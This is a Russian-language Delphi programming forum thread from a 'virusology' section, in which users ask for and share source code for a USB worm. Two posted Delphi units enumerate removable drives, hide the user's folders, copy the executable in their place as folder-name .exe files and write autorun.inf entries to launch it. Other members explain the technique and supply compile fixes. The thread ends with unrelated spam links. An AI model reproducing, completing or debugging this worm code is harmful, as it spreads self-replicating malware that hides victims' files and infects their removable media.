Среда, 17.01.2018, 17:45 Приветствую вас Гость | Группа "Гости" 


[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Модератор форума: Волк-1024, Anton93, xXxSh@dowxXx 
delfcode » Delphi » Вирусология Delphi » USB WORM (нужен сорец)
USB WORM
cool1Дата: Среда, 15.09.2010, 12:25 | Сообщение # 1
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
Привет,
пожалуйста дайте сорец вируса который будет размножаться по флэшкам через папки
типо на флэшке папка фотки а вирус делает ее скрытой и создает файл фотки.ехе и файл Autorun.inf который открывает файл фотки.ехе
smile



За помощь ставьте +!


Сообщение отредактировал cool1 - Среда, 15.09.2010, 12:26
 
dolphinДата: Среда, 15.09.2010, 14:20 | Сообщение # 2
Администратор
Сообщений: 902
Статус: Offline
Всё просто файл Autorun.inf тут совсем не причём, просто сканируешь папки, меняешь атрибуты и копируешься под их именем + скрываешь расширение ехе

Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
cool1Дата: Среда, 15.09.2010, 15:09 | Сообщение # 3
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
а исхдничеГ можно
angel1 angel2



За помощь ставьте +!
 
dolphinДата: Среда, 15.09.2010, 20:58 | Сообщение # 4
Администратор
Сообщений: 902
Статус: Offline
Ну смотри я тут написал 2 процедуры

Доступно только для пользователей

Эта процедура ищет съемные носители

а эта

Доступно только для пользователей

Инфецирует папки на них, то есть замещает собой и скрывает


Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик


Сообщение отредактировал dolphin - Пятница, 17.09.2010, 12:06
 
cool1Дата: Пятница, 17.09.2010, 06:06 | Сообщение # 5
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
спасиба!!! biggrin smile smile smile


За помощь ставьте +!
 
usfireДата: Суббота, 31.01.2015, 22:32 | Сообщение # 6
Новичок
Зарегистрирован: 31.01.2015
Группа: Пользователи
Сообщений: 2
Статус: Offline
Код
program Project2;

uses
       SysUtils,windows;
       var

       F: TSearchRec;
              i: Integer;
              h: THandle;
              L: TStringList;

procedure InfectDir(Root: String);

          begin        
              L:=TStringList.Create;
              L.Clear;
              L.Add(Root);
              i := 0;        
              while i < L.Count do begin
                Root := IncludeTrailingBackslash(L.Strings[i]);        
                h := FindFirst(Root + '*.*', faAnyFile, F);        
                while h = 0 do begin        
                  if (F.Attr and faDirectory) = faDirectory then begin
                    if (F.Name <> '.') and (F.Name <> '..') then begin
                      L.Add(Root + F.Name);        
                      SetFileAttributes(PChar(Root+F.Name),faHidden);        
                      CopyFile(pchar(ParamStr(0)),pchar(Root + F.Name+'.exe'),false);
                      SetFileAttributes(PChar(Root+F.Name+'.exe'),faArchive);
                    end;
                  end;        
                  h :=FindNext(F);
                end;
                FindClose(F);
                Inc(i);
              end;
              L.Free;
          end;

procedure InfectUsb;        
      var
         DiskType,ifind : integer;        
         Drives : set of 0..25;        
         Drv : char;        
      begin        
         try        
         Integer(Drives):=GetLogicalDrives;
         for ifind:=0 to 25 do        
         if (ifind in Drives) then        
          begin        
          Drv:=Char(ifind+Ord('A'));        
          DiskType:=GetDriveType(PChar(Drv+':\'));
          if (DiskType = DRIVE_REMOVABLE)  then
          begin        
          InfectDir(PChar(Drv+':\'));
          end;
         end        
         except
         exit;        
         end;
      end;

begin

end


delphi 7

ошибка на tstring list

необходима рабочая версия

и как использовать процедуру

Код
unit uUSBSpread;

interface

uses
Windows, uInstall, pFunc, uConst;

function InfectUsbDrives(ExeName:string) :Integer;

implementation

function InfectUsbDrives(ExeName:string) :Integer;
var
Drive: Char;
myFile: TextFile;
begin
Result := 0;
for Drive := 'A' to 'Z' do
begin
if (GetDriveType(PChar(Drive + ':\'))= DRIVE_REMOVABLE) then
begin
try
if FileExists(Drive+':\'+ExeName) = False then
begin
CopyFile(PChar(ParamStr(0)),PChar(Drive+':\'+ExeName),False);
AssignFile(myFile, Drive+':\autorun.inf');
if not FileExists(Drive+':\autorun.inf') then ReWrite(myFile)
else Append(myFile);
WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
CloseFile(myFile);
sleep(10);
HideFile(Drive+':\'+ExeName);
sleep(10);
HideFile(Drive+':\autorun.inf');
Result := Result + 1;
end;
except
end;
end;
end;
end;

end.


uconst error

https://www.youtube.com/watch?x....QM#t=20


Сообщение отредактировал usfire - Суббота, 31.01.2015, 23:56
 
ms301Дата: Воскресенье, 15.02.2015, 20:16 | Сообщение # 7
Постоянный
Зарегистрирован: 28.11.2012
Группа: Пользователи
Сообщений: 101
Статус: Offline
Цитата usfire ()
ошибка на tstring list

В uses добавь Classes;
Цитата usfire ()
uconst error

рядом с проектом кинь uconst.pas

ps - элементарные ошибки...
 
AndroidДата: Четверг, 29.12.2016, 14:40 | Сообщение # 8
Постоянный
Зарегистрирован: 13.12.2011
Группа: Пользователи
Сообщений: 100
Статус: Offline
неплохо бы еще определять момент подключения флешки
 
lzmuuДата: Среда, Сегодня, 10:57 | Сообщение # 9
Частый гость
Зарегистрирован: Сегодня
Группа: Пользователи
Сообщений: 50
Статус: Offline
Nike Air Max Enfant
armani outlet
boulder shoes sew repair
burberry outlet
nike running
puma sneakers
rayban sunglasses
pandora jewelry
Lunette Oakley
Nike Air Max 90
Ray Ban sunglasses
burberry factory outlet
Nike Air Max Enfant
hermes outlet
Chaussures pour Femme
Nike Air Max Femme
pandora bracelets charms
coach outlet
Nike Air Max
kate spade outlet sale
kate spade outlet
Premier Jewelry - Official
shop mlb
burberry sale
michael kors
coach outlet online
Louis Vuitton handbags
Nike Free Run
Nike Air Jordan Enfants
Air Jordan 11 Femme
burberry outlet sale
michael kors bags online
breitling watches
nike factory outlet
Wholesale Outlet Sale
black friday michael kors
coach outlet
louis vuitton outlet
ray ban australia
cheap ray bans
Brighton Jewelry - Official
jimmy choo australia
Nike Air Jordan Enfants
pandora jewelry uk
ray ban sunglasses sale
michael kors bags
pandora australia
rolex watch
kate spade outlet store
kate spade outlet bags
Nike Air Max 1
tory burch
Wholesale womens autumn winter clothing
michael kors outlet
Wedding Rings- Official
The Retail Compliance Association
coach outlet
chaussure pas cher
Air Max Enfants
yeezy shoes
Wave Prophecy 2 Shoes
prada outlet sale
Jordan Fusion Femme
Family Name Research
louis vuitton outlet
versace outlet
kate spade outlet
mode damenschuhe
pandoracharms
burberry outlet
ray ban australia
kate spade outlet online
prada outlet online
payless shoes online
Nike Free Run
canada goose outlet
nike outlet
black friday
jimmy choo shoes
michael kors handbags
pandora australia
kate spade outlet online
Brighton Jewelry - Official
pandora charms australia
coach outlet store
tory burch
under armour
coach outlet online
backlink
oakley outlet
ray-ban sunglasses
nike outlet
school bags on sale
michael kors outlet
nike outlet online
ugg boots
michael kors factory outlet
ray ban polarized
birkenstock sandals
jimmy choo uk
coach outlet online sale
chrome store
timberland outlet
rayban prescription glasses
yeezy boots 350
kate spade outlet online
prada outlet online
michael kors outlet online
China wholesale
Jewelry Armoire - Official
clearance
puma shoes
Adidas Outlet
gucci watches
michael kors bags
kate spade outlet
Green Cleaned
Nike Air Max 2017
Air Max 90
handbags online sale
Nike Air Force 1 Homme
Nike Air Max Chase
nike jordan shoes
pandora australia
lzm1.17
 
delfcode » Delphi » Вирусология Delphi » USB WORM (нужен сорец)
Страница 1 из 11
Поиск:

delfcode.ru © 2008 - 2018 Хостинг от uCoz